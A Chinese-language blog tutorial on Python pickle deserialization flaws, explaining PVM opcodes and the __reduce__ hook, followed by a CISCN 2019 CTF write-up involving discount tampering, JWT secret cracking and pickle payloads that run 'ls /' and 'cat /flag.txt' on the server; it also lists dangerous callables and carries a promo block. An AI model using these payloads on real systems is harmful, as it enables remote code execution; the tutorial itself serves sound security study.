淺談Python Pickle反序列化

前言

鴿了很久的python反序列化漏洞,趁著今天沒啥事兒就學習一下。在目前(我)已知的反序列化漏洞中,有PHP、Python以及Java語言的反序列化漏洞,且漏洞利用的方式多種多樣。這次就先學習一下Python Pickle反序列化漏洞。

基礎知識

什麼是反序列化

序列化說白了就是將物件轉換成位元組流,便於儲存在記憶體、檔案或者是資料庫中;反序列化則是序列化的逆過程,將位元組流還原成物件。

Pickle庫以及函式

Python中的序列化操作時可以透過pickle和cPickle兩個模組進行操作,這兩個模組一個是純python實現,一個是C語言實現,為了方便,這裡就以pickle庫來進行學習:

pickle是python語言的一個標準模組,實現了基本的資料序列化和反序列化。pickle模組是以二進位制的形式序列化後儲存到檔案中(儲存檔案的字尾為。pkl),不能直接開啟進行預覽。函式 說明dumps物件序列化為bytes物件dump物件序列化到檔案物件,存入檔案loads從bytes物件反序列化load物件反序列化,從檔案中讀取資料

【——全網最全的網路安全學習資料包分享給愛學習的你,關注我,私信回覆“領取”獲取——】

1.網路安全多個方向學習路線

2.全網最全的CTF入門學習資料

3.一線大佬實戰經驗分享筆記

4.網安大廠面試題合集

5.紅藍對抗實戰技術秘籍

6.網路安全基礎入門、Linux、web安全、滲透測試方面影片

帶 s 和不帶 s 的區別就在於一個是直接進行序列化、反序列操作,另一個在完成上述操作時同時會對檔案進行讀取、寫入操作。下面將舉兩個例子來看dumps和loads函式的作用:

#test。pyimport pickleclass A: def __init__(self): print(‘This is A’)a = A()p_a = pickle。dumps(a)print p_apickle。loads(p_a)##輸出:This is A#(i__main__#A#p0#(dp1#b。

PVM指令

在python2下執行上述的程式碼,發現在loads函式輸出的時候會有一串奇怪的字元。這串字元學名叫PVM指令:

Python語言,是可以直接從原始碼中執行程式。Python直譯器會將原始碼編譯成位元組碼,然後將編譯過後的位元組碼轉發到Python虛擬機器(PVM)中執行。所以說,PVM指令的作用就是告訴解釋位元組碼的解釋引擎我們要進行什麼操作。我們在python2執行後,會看到一個以。pyc為副檔名的檔案,正是該程式的位元組碼。列出幾個比較重要的操作碼:c : 讀取本行的內容作為模組名module, 讀取下一行的內容作為物件名object,然後將 module。object 作為可呼叫物件壓入到棧中( : 將一個標記物件壓入到棧中 , 用於確定命令執行的位置 。 該標記常常搭配 t 指令一起使用 , 以便產生一個元組S : 後面跟字串 , PVM會讀取引號中的內容 , 直到遇見換行符 , 然後將讀取到的內容壓入到棧中t : 從棧中不斷彈出資料 , 彈射順序與壓棧時相同 , 直到彈出左括號 。 此時彈出的內容形成了一個元組 , 然後 , 該元組會被壓入棧中R : 將之前壓入棧中的元組和可呼叫物件全部彈出 , 然後將該元組作為可呼叫引數的物件並執行該物件 。最後將結果壓入到棧中。 : 結束整個 Pickle 反序列化過程

PVM的組成

PVM 由三個部分組成,引擎(或者叫指令分析器)、棧區、還有一個 標誌區(memo)

1。引擎的作用從頭開始讀取流中的操作碼和引數,並對其進行處理,zai在這個過程中改變 棧區 和 標籤區,處理結束後到達棧頂,形成並返回反序列化的物件2。棧區的作用作為流資料處理過程中的暫存區,在不斷的進出棧過程中完成對資料流的反序列化,並最終在棧上生成發序列化的結果3。標籤區的作用資料的一個索引或者標記

我們來解讀一下上面 loads 函式的輸出:

#(i__main__ 引入__main__模組#A 引入A物件#p0 將棧頂資料(__main__。A)儲存到標誌區(memo)中#(dp1 在棧頂建立一個字典,將memo中的內容轉換成鍵值對並存儲到這個字典中,然後棧頂儲存到memo中#b。 呼叫__setstate__或者__dict__。update()來更新字典內容,最後讀取到“。”,結束Pickle序列化過程。

反序列化漏洞的產生

從上面的例子中,可以總結得到python序列化主要有三個過程:從物件中提取所有屬性——》寫入物件的所有模組名和類名——》寫入物件所有屬性的鍵值對。python反序列化漏洞的產生和php的魔術方法有異曲同工之處,在Python2中的__reduce__()方法,會在每次的反序列化開始或結束時呼叫。

__reduce__方法在新式類中生效,不帶引數,應返回字串或是一個元組。如果返回一個字串,該字串應該被解釋為全域性變數的名稱,它應該是物件相對於其模組的本地名稱。當返回一個元組時,它必須包含兩到五個成員。可選成員可以省略,也可以提供None作為其值。每個成員的意義是按順序規定的:第一個成員,將被呼叫的物件,callable。第二個成員,可呼叫物件的引數的元組。如果callable不接受任何引數,則必須給出一個空元組。當Python定義的類中的__reduce__函式返回的元組包含危險程式碼或可控,就會造成程式碼執行。

注意,目前在python2中,只有內建類才有__reduce__方法,所以宣告的時候必須為

class A(object)

才能利用這個點。

來個例子簡單理解一下:

import pickleimport osclass A(object): def __reduce__(self): return (os。system,(‘ls’,))a = A()test = pickle。dumps(a)print testpickle。loads(test)

淺談Python Pickle反序列化

可以看到在dumps執行後,PVM指令中有一行R指令,前面提到R指令的作用就是將該元組作為可呼叫引數的物件並執行該物件,所以就相當於執行了os。system(‘ls’),並且

pickle。loads

是會解決import 問題,對於未引入的

module

會自動嘗試

import

。那麼也就是說整個python標準庫的程式碼執行、命令執行函式我們都可以使用:

eval, execfile, compile, open, file, map, input,os。system, os。popen, os。popen2, os。popen3, os。popen4, os。open, os。pipe,os。listdir, os。access,os。execl, os。execle, os。execlp, os。execlpe, os。execv,os。execve, os。execvp, os。execvpe, os。spawnl, os。spawnle, os。spawnlp, os。spawnlpe,os。spawnv, os。spawnve, os。spawnvp, os。spawnvpe,pickle。load, pickle。loads,cPickle。load,cPickle。loads,subprocess。call,subprocess。check_call,subprocess。check_output,subprocess。Popen,commands。getstatusoutput,commands。getoutput,commands。getstatus,glob。glob,linecache。getline,shutil。copyfileobj,shutil。copyfile,shutil。copy,shutil。copy2,shutil。move,shutil。make_archive,dircache。listdir,dircache。opendir,io。open,popen2。popen2,popen2。popen3,popen2。popen4,timeit。timeit,timeit。repeat,sys。call_tracing,code。interact,code。compile_command,codeop。compile_command,pty。spawn,posixfile。open,posixfile。fileopen,platform。popen

例題訓練

ikun——CISCN2019 華北賽區

淺談Python Pickle反序列化

提示我們要買到LV6才行,跑指令碼去抓 lv6。png:

import requestsurl=“http://87a4ec57-2a26-4095-8f2f-2de60f2f6192。node3。buuoj。cn/shop?page=”for i in range(0,501):r=requests。get(url+str(i))if ‘lv6。png’ in r。text: print (i) break

單執行緒跑的不是很快,好在頁面也不是很多。但找到頁面後發現錢不夠。。。抓包看下:

淺談Python Pickle反序列化

發現頁面中的折扣是可以進行修改的,嘗試將折扣修改到足夠小。這時候再向伺服器發起請求的時候,被重定向到另一個頁面,並且提示我們頁面只有admin才能訪問。這時候再重新審一下頁面,有一個JWT的cookie,跑網站解析一下:

淺談Python Pickle反序列化

剛開始解析完,直接把使用者名稱改成admin,放Burp裡跑的時候沒成功,發現還有一段金鑰需要解,把現有的JWT放到JWT-Cracker跑一下,拿到金鑰 1Kun 。再次修改JWT,拿著新的JWT向伺服器發起請求,接著給了我們原始碼,原始碼挺多的,根據題目給的暗示 pickle和python,猜測是python反序列化漏洞,搜尋關鍵字loads和dumps,在admin。py找到:

import tornado。webfrom sshop。base import BaseHandlerimport pickleimport urllibclass AdminHandler(BaseHandler): @tornado。web。authenticated def get(self, *args, **kwargs): if self。current_user == “admin”: return self。render(‘form。html’, res=‘This is Black Technology!’, member=0) else: return self。render(‘no_ass。html’) @tornado。web。authenticated def post(self, *args, **kwargs): try: become = self。get_argument(‘become’) p = pickle。loads(urllib。unquote(become)) #從位元組物件中讀取被封裝的物件,並返回 return self。render(‘form。html’, res=p, member=1) except: return self。render(‘form。html’, res=‘This is Black Technology!’, member=0)

如果我們傳入一個帶有__reduce__方法的類到become中,那麼就會觸發RCE(ps:網上的payload直接就找著/flag。txt打,其實最主要的還是先找到flag的位置。剛開始很sb的用os。system打,但是沒有回顯,一度以為被ban掉了= =後面才想起來該函式只執行,不列印結果):

#找flag。pyimport pickleimport urllibimport sysimport commandsclass payload(object): def __reduce__(self): return (commands。getoutput, (‘ls /’,))a = pickle。dumps(payload())a = urllib。quote(a)print a#拿flag。pyimport pickleimport urllib class payload(object): def __reduce__(self): return (commands。getoutput, (‘cat /flag。txt’,))a = pickle。dumps(payload())a = urllib。quote(a)print a

實操推薦:Python反序列化漏洞

https://www。hetianlab。com/expc。do?ec=ECID7eab-0fb2-4f21-96df-5c1f912e5572&pk_campaign=weixin-wemedia#stu

透過進行python指令碼的實際程式設計,瞭解python反序列化漏洞產生的機理,增強安全開發意識。